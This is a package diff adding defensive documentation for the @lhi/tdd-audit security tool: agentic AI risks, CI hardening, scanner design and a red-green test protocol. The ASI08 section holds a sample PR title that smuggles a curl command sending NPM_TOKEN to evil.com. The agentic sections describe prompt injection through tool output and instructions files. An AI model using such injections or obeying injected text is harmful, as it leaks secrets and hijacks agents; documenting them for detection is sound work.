@lhi/tdd-audit 1.8.1 → 1.8.2

package/docs/agentic-ai-security.md

@@ -0,0 +1,202 @@
+# Agentic AI Security (ASI01–ASI10)
+
+When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
+
+---
+
+## ASI01 — Prompt Injection via Tool Output
+
+**What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
+
+**Grep for:**
+```
+fetch(.*then.*res\.text        # agent reading raw web content into prompt
+readFile.*utf8.*then           # file content fed directly to model
+tool_result.*content           # MCP tool output injected into context
+```
+
+**Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
+
+---
+
+## ASI02 — CLAUDE.md / Instructions File Injection
+
+**What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
+
+**Grep for:**
+```
+CLAUDE\.md                     # ensure CLAUDE.md doesn't accept untrusted input
+\.cursorrules                  # check cursor rules for malicious overrides
+system_prompt.*file            # system prompt loaded from a user-supplied path
+```
+
+**Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
+
+---
+
+## ASI03 — MCP Server Supply Chain Risk
+
+**What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
+
+**Grep for:**
+```
+mcpServers                     # review all MCP server configurations
+npx.*mcp                       # npx-executed MCP servers (not pinned)
+"command".*"npx"               # dynamic npx MCP invocations
+```
+
+**Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
+
+```json
+// settings.json — safe pattern
+{
+  "mcpServers": {
+    "filesystem": {
+      "command": "node",
+      "args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
+    }
+  }
+}
+```
+
+---
+
+## ASI04 — Excessive Tool Permissions
+
+**What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
+
+**Grep for:**
+```
+allow.*Write.*true             # broad write permissions granted
+bash.*permission.*allow        # shell execution permitted
+tools.*\["bash"                # bash tool in agent tool list
+```
+
+**Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
+
+---
+
+## ASI05 — Sensitive Data in Tool Calls
+
+**What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
+
+**Grep for:**
+```
+tool_call.*password            # password in tool argument
+tool_call.*token               # token passed to external tool
+messages.*secret               # secret embedded in model messages
+```
+
+**Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
+
+---
+
+## ASI06 — Unvalidated Agent Action Execution
+
+**What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
+
+**Grep for:**
+```
+exec.*tool_result              # shell exec driven by tool output
+writeFile.*agent               # agent writing files autonomously
+http\.post.*tool_call          # agent making POST requests without confirmation
+```
+
+**Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
+
+---
+
+## ASI07 — Insecure Direct Agent Communication
+
+**What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
+
+**Grep for:**
+```
+agent_message.*role.*user      # sub-agent message injected as user role
+from_agent.*trust              # inter-agent trust without verification
+orchestrator.*execute          # orchestrator passing actions directly to sub-agent
+```
+
+**Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
+
+---
+
+## ASI08 — GitHub Actions Command Injection
+
+**What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+\$\{\{ github\.event\.pull_request\.title
+\$\{\{ github\.event\.issue\.body
+\$\{\{ github\.head_ref
+\$\{\{ github\.event\.comment\.body
+run:.*\$\{\{
+```
+
+**Vulnerable pattern:**
+```yaml
+- name: Echo PR title
+  run: echo "${{ github.event.pull_request.title }}"
+  # Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
+```
+
+**Safe pattern:**
+```yaml
+- name: Echo PR title
+  env:
+    TITLE: ${{ github.event.pull_request.title }}
+  run: echo "$TITLE"   # shell variable — no Actions interpolation
+```
+
+---
+
+## ASI09 — Unpinned GitHub Actions (Supply Chain)
+
+**What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+uses:.*@v\d
+uses:.*@main
+uses:.*@master
+```
+
+**Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
+
+```yaml
+# Vulnerable
+- uses: actions/checkout@v4
+
+# Safe
+- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+```
+
+All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
+
+---
+
+## ASI10 — Secrets in Workflow Environment
+
+**What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+echo.*secrets\.               # secret echoed to log
+run:.*\$\{\{ secrets\.        # secret interpolated inline into run step
+curl.*\$\{\{ secrets\.        # secret in curl URL (leaks in logs)
+```
+
+**Vulnerable pattern:**
+```yaml
+- run: curl https://api.example.com?key=${{ secrets.API_KEY }}
+  # Full URL including secret appears in GitHub Actions log
+```
+
+**Safe pattern:**
+```yaml
+- name: Call API
+  env:
+    API_KEY: ${{ secrets.API_KEY }}
+  run: curl -H "Authorization: $API_KEY" https://api.example.com
+```

package/docs/ci-cd.md

@@ -0,0 +1,169 @@
+# CI/CD Integration Guide
+
+`@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
+
+---
+
+## What the installer creates
+
+| File | When created |
+|---|---|
+| `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
+| `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
+
+Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
+
+---
+
+## Installed workflow templates
+
+All templates ship with:
+- Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
+- A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
+- The security exploit test suite run on every push and pull request
+
+### Node.js (jest / vitest / mocha)
+
+**`.github/workflows/security-tests.yml`**
+```yaml
+name: Security Tests
+on:
+  push:    { branches: [main, master] }
+  pull_request: { branches: [main, master] }
+jobs:
+  security-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+        with: { node-version: '20', cache: 'npm' }
+      - run: npm ci
+      - run: npm audit --audit-level=high
+      - run: npm run test:security
+```
+
+**`.github/workflows/ci.yml`**
+Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
+
+### Python
+
+**`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
+**`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
+
+### Go
+
+**`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
+**`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
+
+### Flutter / Dart
+
+**`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
+**`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
+
+---
+
+## Adding to an existing pipeline
+
+Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
+
+```yaml
+- name: Dependency audit
+  run: npm audit --audit-level=high
+
+- name: Security exploit tests
+  run: npm run test:security
+```
+
+For Python:
+```yaml
+- name: Dependency audit
+  run: pip install pip-audit && pip-audit
+
+- name: Security exploit tests
+  run: pytest tests/security/ -v
+```
+
+For Go:
+```yaml
+- name: Dependency audit
+  run: |
+    go install golang.org/x/vuln/cmd/govulncheck@latest
+    govulncheck ./...
+
+- name: Security exploit tests
+  run: go test ./security/... -v
+```
+
+---
+
+## Pre-commit hook (optional)
+
+Install with `--with-hooks`:
+
+```bash
+npx @lhi/tdd-audit --with-hooks
+```
+
+This appends to `.git/hooks/pre-commit`:
+
+```sh
+# tdd-remediation: security gate
+npm run test:security --silent
+if [ $? -ne 0 ]; then
+  printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
+  exit 1
+fi
+```
+
+The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
+
+---
+
+## Supply chain hardening in workflows
+
+All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
+
+```yaml
+# Find the SHA for any action tag:
+# 1. Go to github.com/actions/checkout/releases
+# 2. Click the tag → copy the full commit SHA from the URL or git log
+
+- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+```
+
+To audit your existing workflows for unpinned refs:
+
+```bash
+grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
+```
+
+The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
+
+---
+
+## Preventing secrets from leaking in CI
+
+Always pass secrets as environment variables — never interpolate them inline:
+
+```yaml
+# Vulnerable — secret appears in the Actions log as part of the URL
+- run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
+
+# Safe
+- name: Call API
+  env:
+    API_TOKEN: ${{ secrets.API_TOKEN }}
+  run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
+```
+
+Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
+
+```yaml
+# Vulnerable — PR title with shell metacharacters is injected
+- run: echo "PR: ${{ github.event.pull_request.title }}"
+
+# Safe
+- env:
+    PR_TITLE: ${{ github.event.pull_request.title }}
+  run: echo "PR: $PR_TITLE"
+```

package/docs/hardening.md

@@ -0,0 +1,267 @@
+# Phase 4 — Proactive Hardening
+
+Phase 4 runs after all known vulnerabilities are patched. It applies defence-in-depth controls that make future vulnerabilities harder to introduce and easier to catch.
+
+Apply each control independently. Confirm the test suite stays green after each.
+
+---
+
+## 4a. Security headers (Helmet)
+
+```bash
+npm install helmet
+```
+
+Apply as the **first** middleware, before any routes:
+
+```javascript
+const helmet = require('helmet');
+app.use(helmet());
+```
+
+For **Next.js**, add to `next.config.js`:
+
+```javascript
+const securityHeaders = [
+  { key: 'X-Content-Type-Options',    value: 'nosniff' },
+  { key: 'X-Frame-Options',           value: 'SAMEORIGIN' },
+  { key: 'X-XSS-Protection',          value: '1; mode=block' },
+  { key: 'Referrer-Policy',           value: 'strict-origin-when-cross-origin' },
+  { key: 'Permissions-Policy',        value: 'camera=(), microphone=(), geolocation=()' },
+  { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
+];
+
+module.exports = {
+  async headers() {
+    return [{ source: '/(.*)', headers: securityHeaders }];
+  },
+};
+```
+
+**Verify:** `curl -I https://localhost:3000/` — confirm headers are present.
+
+---
+
+## 4b. Content Security Policy (CSP)
+
+```javascript
+app.use(
+  helmet.contentSecurityPolicy({
+    directives: {
+      defaultSrc:             ["'self'"],
+      scriptSrc:              ["'self'"],       // no 'unsafe-inline' — use nonces
+      styleSrc:               ["'self'", "'unsafe-inline'"],
+      imgSrc:                 ["'self'", 'data:', 'https:'],
+      connectSrc:             ["'self'"],
+      fontSrc:                ["'self'"],
+      objectSrc:              ["'none'"],
+      frameAncestors:         ["'none'"],       // equivalent to X-Frame-Options: DENY
+      upgradeInsecureRequests: [],
+    },
+  })
+);
+```
+
+Validate your policy at `https://csp-evaluator.withgoogle.com/`.
+
+---
+
+## 4c. CSRF protection
+
+For cookie-based sessions (not pure JWT / Authorization header flows):
+
+```javascript
+// csrf-csrf (csurf is deprecated since March 2023)
+const { doubleCsrf } = require('csrf-csrf');
+
+const { generateToken, doubleCsrfProtection } = doubleCsrf({
+  getSecret:     () => process.env.CSRF_SECRET,
+  cookieName:    '__Host-psifi.x-csrf-token',
+  cookieOptions: { sameSite: 'strict', secure: true },
+});
+
+app.use(doubleCsrfProtection);
+app.get('/form', (req, res) => res.render('form', { csrfToken: generateToken(req, res) }));
+```
+
+For SPAs using `fetch`, set `SameSite=Strict` on the session cookie:
+
+```javascript
+res.cookie('session', token, { httpOnly: true, secure: true, sameSite: 'strict' });
+```
+
+---
+
+## 4d. Rate limiting
+
+| Route type | Recommended limit |
+|---|---|
+| `/login`, `/register`, `/forgot-password` | 10 requests / 15 min / IP |
+| `/api/` general endpoints | 100 requests / 1 min / IP |
+| File upload endpoints | 5 requests / 1 min / IP |
+| Password reset confirmation | 5 requests / 15 min / IP |
+
+```javascript
+const rateLimit = require('express-rate-limit');
+
+const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 10 });
+const apiLimiter  = rateLimit({ windowMs: 60 * 1000,      max: 100 });
+
+app.use('/api/', apiLimiter);
+app.post('/api/auth/login',    authLimiter, loginHandler);
+app.post('/api/auth/register', authLimiter, registerHandler);
+```
+
+Quick grep to find unprotected POST routes:
+
+```bash
+grep -rn "app\.post\|router\.post" src/ --include="*.js" | grep -v "limiter\|rateLimit"
+```
+
+---
+
+## 4e. Dependency vulnerability audit
+
+```bash
+# Node.js
+npm audit --audit-level=high
+npm audit fix   # auto-fix where safe
+
+# Python
+pip install pip-audit && pip-audit
+
+# Go
+go install golang.org/x/vuln/cmd/govulncheck@latest && govulncheck ./...
+
+# Flutter / Dart
+flutter pub outdated
+```
+
+The live `ci.yml` and `security-tests.yml` workflows both run `npm audit --audit-level=high` on every push and pull request (added in v1.8.0).
+
+---
+
+## 4f. Secret history scan
+
+```bash
+# trufflehog (recommended)
+npx trufflehog git file://. --only-verified
+
+# gitleaks
+brew install gitleaks
+gitleaks detect --source . -v
+```
+
+If secrets are found in history:
+1. Rotate the secret immediately — treat it as compromised
+2. Use `git filter-repo` to rewrite history
+3. Force-push and have all team members re-clone
+
+Prevent future secret commits via pre-commit hook:
+
+```bash
+npx gitleaks protect --staged -v
+# or use: npx @lhi/tdd-audit --with-hooks
+```
+
+---
+
+## 4g. Production error handling
+
+```javascript
+// Express — place last, after all routes
+app.use((err, req, res, next) => {
+  const isDev = process.env.NODE_ENV !== 'production';
+  console.error(err);  // log internally — never expose to client
+  res.status(err.status || 500).json({
+    error: isDev ? err.message : 'Internal server error',
+    ...(isDev && { stack: err.stack }),
+  });
+});
+```
+
+```python
+# FastAPI
+@app.exception_handler(Exception)
+async def generic_exception_handler(request, exc):
+    logger.error(f"Unhandled exception: {exc}", exc_info=True)
+    return JSONResponse(status_code=500, content={"error": "Internal server error"})
+```
+
+---
+
+## 4h. Subresource Integrity (SRI)
+
+For third-party scripts or stylesheets loaded via CDN:
+
+```html
+<script
+  src="https://cdn.example.com/lib.min.js"
+  integrity="sha384-<hash>"
+  crossorigin="anonymous"
+></script>
+```
+
+Generate integrity hashes at `https://www.srihash.org/`.
+
+---
+
+## 4i. GitHub Actions supply chain hardening
+
+Pin every `uses:` to a full commit SHA:
+
+```yaml
+# Vulnerable — mutable tag
+- uses: actions/checkout@v4
+
+# Safe — SHA-locked, tag as comment
+- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+```
+
+Grep for unpinned actions:
+
+```bash
+grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
+```
+
+Workflow inputs that inject into `run:` steps:
+
+```yaml
+# Vulnerable
+run: echo "${{ github.event.pull_request.title }}"
+
+# Safe
+env:
+  PR_TITLE: ${{ github.event.pull_request.title }}
+run: echo "$PR_TITLE"
+```
+
+---
+
+## 4j. Agentic AI controls
+
+- `CLAUDE.md` under version control; reviewed on every commit; no user-supplied content
+- MCP servers pinned to exact versions or local installs (see [ASI03](agentic-ai-security.md#asi03--mcp-server-supply-chain-risk))
+- Agent tool permissions scoped to minimum required; no `bash` when only `read` is needed
+- Tool outputs sanitized before injecting into prompt context (see [ASI01](agentic-ai-security.md#asi01--prompt-injection-via-tool-output))
+
+---
+
+## Hardening verification checklist
+
+- [ ] `helmet()` applied before all routes; `X-Content-Type-Options: nosniff` in every response
+- [ ] CSP header present; validated with csp-evaluator
+- [ ] CSRF protection on all state-mutating routes (or `SameSite=Strict` cookies)
+- [ ] Rate limiting on auth routes — 429 returned after threshold
+- [ ] `npm audit` / `pip-audit` / `govulncheck` shows 0 HIGH/CRITICAL findings
+- [ ] `gitleaks` / `trufflehog` shows no verified secrets in history
+- [ ] Production error handler returns generic messages; no stack traces in 5xx responses
+- [ ] SRI hashes on all third-party CDN resources
+- [ ] `*.env` in `.gitignore`; no `.env` committed to git
+- [ ] All cookies: `httpOnly: true`, `secure: true`, `sameSite: 'strict'` or `'lax'`
+- [ ] All GitHub Actions `uses:` pinned to full commit SHAs
+- [ ] No `github.event.*` interpolated directly into `run:` steps
+- [ ] No secrets inline in workflow `run:` commands or URLs
+- [ ] `CLAUDE.md` in version control and reviewed; no user-supplied content
+- [ ] MCP servers pinned to exact versions or local installs
+- [ ] Agent tool permissions scoped to minimum required

package/docs/scanner.md

@@ -0,0 +1,161 @@
+# Scanner Architecture
+
+`lib/scanner.js` is the core engine behind `npx @lhi/tdd-audit --scan` and the auto-audit skill. It is a pure Node.js module with no runtime dependencies — only `fs` and `path`.
+
+---
+
+## Entry points
+
+| Export | Purpose |
+|---|---|
+| `quickScan(projectDir)` | Walk all source files and return a findings array |
+| `scanPromptFiles(projectDir)` | Walk all `.md` prompt/skill files and check for prompt-specific patterns |
+| `scanAppConfig(projectDir)` | Check `app.json` / `app.config.*` for embedded secrets |
+| `scanAndroidManifest(projectDir)` | Check `AndroidManifest.xml` for `android:debuggable="true"` |
+| `printFindings(findings, exempted)` | Format and print a findings report to stdout |
+| `detectFramework(dir)` | Detect the test framework (`jest`, `vitest`, `mocha`, `pytest`, `go`, `flutter`) |
+| `detectAppFramework(dir)` | Detect the UI framework (`nextjs`, `expo`, `react-native`, `react`, `flutter`) |
+| `detectTestBaseDir(dir, framework)` | Locate the test root (`__tests__`, `tests`, `test`, `spec`) |
+
+---
+
+## How `quickScan` works
+
+```
+projectDir
+  └─ walkFiles()          — yields .js/.ts/.jsx/.tsx/.mjs/.py/.go/.dart files
+       └─ for each file:
+            1. Read file content (read-first, check length after — no TOCTOU)
+            2. Skip if content.length > 512 KB
+            3. Skip if file contains null bytes (binary guard)
+            4. For each line × each VULN_PATTERN:
+                 – If pattern matches, push finding with severity / name / file / line / snippet
+                 – inTestFile: true if path is under a test directory
+                 – likelyFalsePositive: true if inTestFile && pattern.skipInTests
+  └─ scanAppConfig()      — checks app.json / app.config.* for secret patterns
+  └─ scanAndroidManifest() — checks android:debuggable
+  └─ scanPromptFiles()    — walks .md files in prompt directories
+```
+
+All four result sets are merged into one array and returned to the caller.
+
+---
+
+## File walking
+
+### `walkFiles(dir)`
+
+Yields scannable source files (`SCAN_EXTENSIONS`). Skips:
+
+- **`SKIP_DIRS`**: `node_modules`, `.git`, `dist`, `build`, `.next`, `out`, `__pycache__`, `venv`, `.venv`, `vendor`, `.expo`, `.dart_tool`, `.pub-cache`
+- **Symlinks** — never followed, preventing escape from the project root on shared/M-series filesystems
+
+### `walkMdFiles(dir)`
+
+Same skip rules, yields `.md` files only. Used by `scanPromptFiles`.
+
+---
+
+## Scanned extensions
+
+`.js` `.ts` `.jsx` `.tsx` `.mjs` `.py` `.go` `.dart`
+
+YAML, JSON, XML, and shell files are not scanned by the code scanner. CI workflow files (`.yml`) are scanned separately when explicitly passed to the ASI08/ASI09 grep patterns during an agent-driven audit.
+
+---
+
+## Test file detection
+
+`isTestFile(filePath, projectDir)` returns `true` for any file that matches:
+
+| Pattern | Example |
+|---|---|
+| `*.test.js` / `*.spec.ts` | `auth.test.ts` |
+| `*_test.dart` | `login_test.dart` |
+| Path contains `__tests__/` or `tests/` | `__tests__/unit/scanner.test.js` |
+| Path contains `spec/` | `spec/api/users_spec.rb` |
+| Filename starts with `test_` | `test_helpers.js` |
+
+Findings in test files are always reported (they may contain real vulnerabilities), but:
+- They carry `inTestFile: true` in the finding object
+- If the matched pattern has `skipInTests: true`, `likelyFalsePositive` is set to `true` and the finding is separated into a secondary "verify manually" section of the report
+
+---
+
+## Prompt file detection
+
+`isPromptFile(filePath, projectDir)` returns `true` for:
+
+| Condition | Example |
+|---|---|
+| Filename is in `PROMPT_FILE_NAMES` | `CLAUDE.md`, `SKILL.md`, `.cursorrules`, `.clinerules` |
+| First path segment is in `PROMPT_DIRS` | `prompts/`, `skills/`, `.claude/`, `workflows/` |
+
+### `audit_status: safe` exemption
+
+If a prompt file's YAML frontmatter contains `audit_status: safe`, it is skipped entirely. The relative path is collected into an `exempted` array and displayed at the bottom of the `printFindings` report so you can verify exemptions are intentional.
+
+```markdown
+---
+name: my-prompt
+audit_status: safe
+---
+```
+
+This mechanism allows prompt authors to document intentional examples of vulnerable patterns (e.g., showing what `csurf` looks like before migration) without generating false positives on every scan.
+
+### Backtick suppression
+
+Matches inside a properly closed backtick code span on the same line are suppressed. This prevents table rows like:
+
+```markdown
+| `"command": "npx"` in MCP config | HIGH | ...
+```
+
+from triggering the `Unpinned npx MCP Server` pattern.
+
+The rule: suppress when there is an **odd** number of backticks before the match AND at least one closing backtick after it on the same line.
+
+---
+
+## Finding object schema
+
+```javascript
+{
+  severity: 'CRITICAL' | 'HIGH' | 'MEDIUM' | 'LOW',
+  name: string,           // pattern display name, e.g. "SQL Injection"
+  file: string,           // relative path from projectDir
+  line: number,           // 1-indexed line number
+  snippet: string,        // first 80 chars of the matched line (trimmed)
+  inTestFile: boolean,
+  likelyFalsePositive: boolean,
+}
+```
+
+---
+
+## Adding a new pattern
+
+All vulnerability patterns live in the `VULN_PATTERNS` array in `lib/scanner.js`. Each entry is:
+
+```javascript
+{
+  name: 'Display Name',    // shown in the report
+  severity: 'HIGH',        // CRITICAL | HIGH | MEDIUM | LOW
+  pattern: /regex/i,       // matched against each line of each file
+  skipInTests: true,       // optional — mark likelyFalsePositive when matched in test files
+}
+```
+
+Prompt-specific patterns live in `PROMPT_PATTERNS`:
+
+```javascript
+{
+  name: 'Display Name',
+  severity: 'HIGH',
+  pattern: /regex/,
+  skipCommentLine: true,   // optional — suppress matches on lines starting with // or #
+}
+```
+
+After adding a pattern, add a corresponding unit test in `__tests__/unit/scanner.test.js` with both a true-positive and a false-positive case.

package/docs/tdd-protocol.md

@@ -0,0 +1,184 @@
+# TDD Remediation Protocol
+
+Security patching without tests is guesswork. The Red-Green-Refactor loop turns every vulnerability into a provable, reproducible closure: you prove the hole exists, you close it, and you prove it is closed.
+
+---
+
+## The three phases
+
+```
+RED   → write the exploit test   → it MUST fail   (vulnerability confirmed)
+GREEN → apply the patch          → test MUST pass  (vulnerability closed)
+REFACTOR → run the full suite    → all MUST pass   (no regressions)
+```
+
+**Do not move to the next vulnerability until the current one completes all three phases.**
+
+---
+
+## Phase 1 — Red (Exploit)
+
+Write a test that actively attempts the breach. The test must fail on the **security assertion**, not just crash the app.
+
+```javascript
+// Wrong Red: test fails because the app throws 500
+expect(res.status).toBe(403); // ← fails because app returned 500
+
+// Correct Red: test fails because the vulnerability is open
+expect(res.status).toBe(403); // ← fails because app returned 200 with data
+```
+
+Place the test in your security test directory (`__tests__/security/`, `tests/security/`, or `test/security/`) so it is picked up by the `test:security` CI job.
+
+### Framework templates
+
+**Jest / Supertest (Node.js)**
+```javascript
+const request = require('supertest');
+const app = require('../../app');
+
+describe('[VulnType] — Red Phase', () => {
+  it('SHOULD block [exploit description]', async () => {
+    const res = await request(app)
+      .post('/api/vulnerable-endpoint')
+      .send({ input: '<exploit payload>' });
+
+    expect(res.status).toBe(403); // currently 200 — MUST fail (Red)
+    expect(res.body.data).not.toContain('<exploit payload>');
+  });
+});
+```
+
+**PyTest (Python)**
+```python
+def test_exploit_blocked(client, attacker_token):
+    response = client.post(
+        '/api/vulnerable-endpoint',
+        json={'input': '<exploit payload>'},
+        headers={'Authorization': f'Bearer {attacker_token}'}
+    )
+    assert response.status_code == 403  # currently 200 — RED
+```
+
+**Vitest + Testing Library (React / Next.js)**
+```typescript
+test('SHOULD NOT store auth token in localStorage', async () => {
+  render(<LoginForm />);
+  fireEvent.submit(screen.getByRole('form'));
+  await waitFor(() => {
+    expect(localStorage.getItem('token')).toBeNull(); // currently set — RED
+  });
+});
+```
+
+**flutter_test (Flutter)**
+```dart
+test('SHOULD NOT store auth token in SharedPreferences', () async {
+  SharedPreferences.setMockInitialValues({});
+  await simulateLogin(username: 'user', password: 'password');
+  final prefs = await SharedPreferences.getInstance();
+  expect(prefs.getString('token'), isNull); // currently stored — RED
+});
+```
+
+See [`prompts/red-phase.md`](../prompts/red-phase.md) for vulnerability-specific exploit strategies.
+
+---
+
+## Phase 2 — Green (Patch)
+
+Apply the **minimum code change** that makes the exploit test pass. A targeted fix is safer than a rewrite.
+
+1. Identify the root cause — a 500 error is not a security fix
+2. Apply the narrowest patch that closes the vulnerability
+3. Run `npm run test:security` — the exploit test must now pass
+4. If the test still fails, the patch is incomplete — do not advance
+
+See [`prompts/green-phase.md`](../prompts/green-phase.md) for vulnerability-specific patch strategies with before/after code examples covering:
+
+- IDOR / tenant isolation
+- XSS and `dangerouslySetInnerHTML`
+- SQL injection (parameterized queries)
+- Command injection (argument arrays)
+- Path traversal (resolve + bounds check)
+- Broken auth (JWT middleware)
+- Next.js API route auth
+- React Native / Expo sensitive storage migration
+- Flutter sensitive storage migration
+- SSRF (URL allowlist)
+- Open redirect (relative-only)
+- NoSQL injection (operator sanitization)
+- Mass assignment (field allowlisting)
+- Prototype pollution (key sanitization)
+- Weak crypto (bcrypt/argon2)
+- Missing rate limiting
+- Missing security headers (Helmet)
+- TLS bypass removal
+
+---
+
+## Phase 3 — Refactor (Regression)
+
+Run the **full** test suite — security tests plus all pre-existing functional and integration tests.
+
+```bash
+npm test          # Node.js
+pytest            # Python
+go test ./...     # Go
+flutter test      # Flutter
+```
+
+**If any pre-existing test now fails, stop and revert.** Return to Phase 2 with a narrower approach. A security fix that breaks functionality is a failed fix.
+
+### Regression checklist
+
+- [ ] Happy-path flows still work — legitimate users can access their own resources
+- [ ] Error messages are safe — no stack traces or internal paths in error responses
+- [ ] Auth bypass not introduced — the fix doesn't open a new unprotected code path
+- [ ] No secrets committed — patch doesn't hardcode keys or tokens
+- [ ] No debug logging left — remove any `console.log` added during patching
+
+See [`prompts/refactor-phase.md`](../prompts/refactor-phase.md) for the full framework-specific regression checklist.
+
+---
+
+## Phase 4 — Hardening (Proactive)
+
+After all vulnerabilities are remediated, apply defence-in-depth controls that make future vulnerabilities harder to introduce. See [`docs/hardening.md`](hardening.md) for the full guide.
+
+Summary of controls:
+- **Security headers** — `helmet()` applied before all routes; explicit CSP
+- **CSRF protection** — `csrf-csrf` double-submit pattern (not deprecated `csurf`)
+- **Rate limiting** — `express-rate-limit` on auth routes
+- **Dependency audit** — `npm audit --audit-level=high` in CI
+- **Secret history scan** — `gitleaks` / `trufflehog` to catch committed secrets
+- **Error handling** — generic 500 messages in production, no stack traces
+- **SRI** — subresource integrity hashes on third-party CDN assets
+- **GitHub Actions pinning** — every `uses:` locked to a full commit SHA
+
+---
+
+## When to revert and retry
+
+Revert the patch (`git checkout -- <file>`) and return to Phase 2 if:
+
+- A functional test fails after applying the security fix
+- The fix introduces a new 401/403 for a legitimate user flow
+- Performance degrades measurably (e.g., O(n) queries replacing O(1))
+
+When you retry, describe the constraint: *"The previous fix broke X — find a narrower approach that still closes the vulnerability."*
+
+---
+
+## Remediation Summary format
+
+After all vulnerabilities are addressed, the agent outputs a table:
+
+```
+## Remediation Summary
+
+| Vulnerability | File | Status | Test File | Fix Applied |
+|---|---|---|---|---|
+| SQLi | src/routes/users.js:34 | ✅ Fixed | __tests__/security/sqli-users.test.js | Parameterized query |
+| IDOR | src/controllers/docs.js:87 | ✅ Fixed | __tests__/security/idor-docs.test.js | Ownership check added |
+```

package/docs/vulnerability-patterns.md

@@ -0,0 +1,200 @@
+# Vulnerability Patterns Reference
+
+All 34 patterns detected by `@lhi/tdd-audit`. Patterns are checked against every scannable source file line-by-line. Prompt/skill patterns are checked separately against `.md` files in agent configuration directories.
+
+---
+
+## CRITICAL
+
+### SQL Injection
+**Grep signature:** template literal SELECT, string-concatenated query, Python f-string/%-format SQL, tagged template DB call
+**Why it matters:** Attacker can read, modify, or delete any data in your database by manipulating the query string.
+**Fix:** Parameterized queries / ORM methods. See [`green-phase.md`](../prompts/green-phase.md#sql-injection).
+
+### Command Injection
+**Grep signature:** `exec(` / `execSync(` with `req.params|body|query`; `subprocess.run(shell=True)`
+**Why it matters:** Attacker can run arbitrary shell commands on your server.
+**Fix:** Use `execFile`/`spawn` with an argument array (no shell interpolation).
+
+### TLS Bypass
+**Grep signature:** `badCertificateCallback = true`, `rejectUnauthorized: false`, `NODE_TLS_REJECT_UNAUTHORIZED=0`
+**Why it matters:** All HTTPS connections become vulnerable to man-in-the-middle attacks.
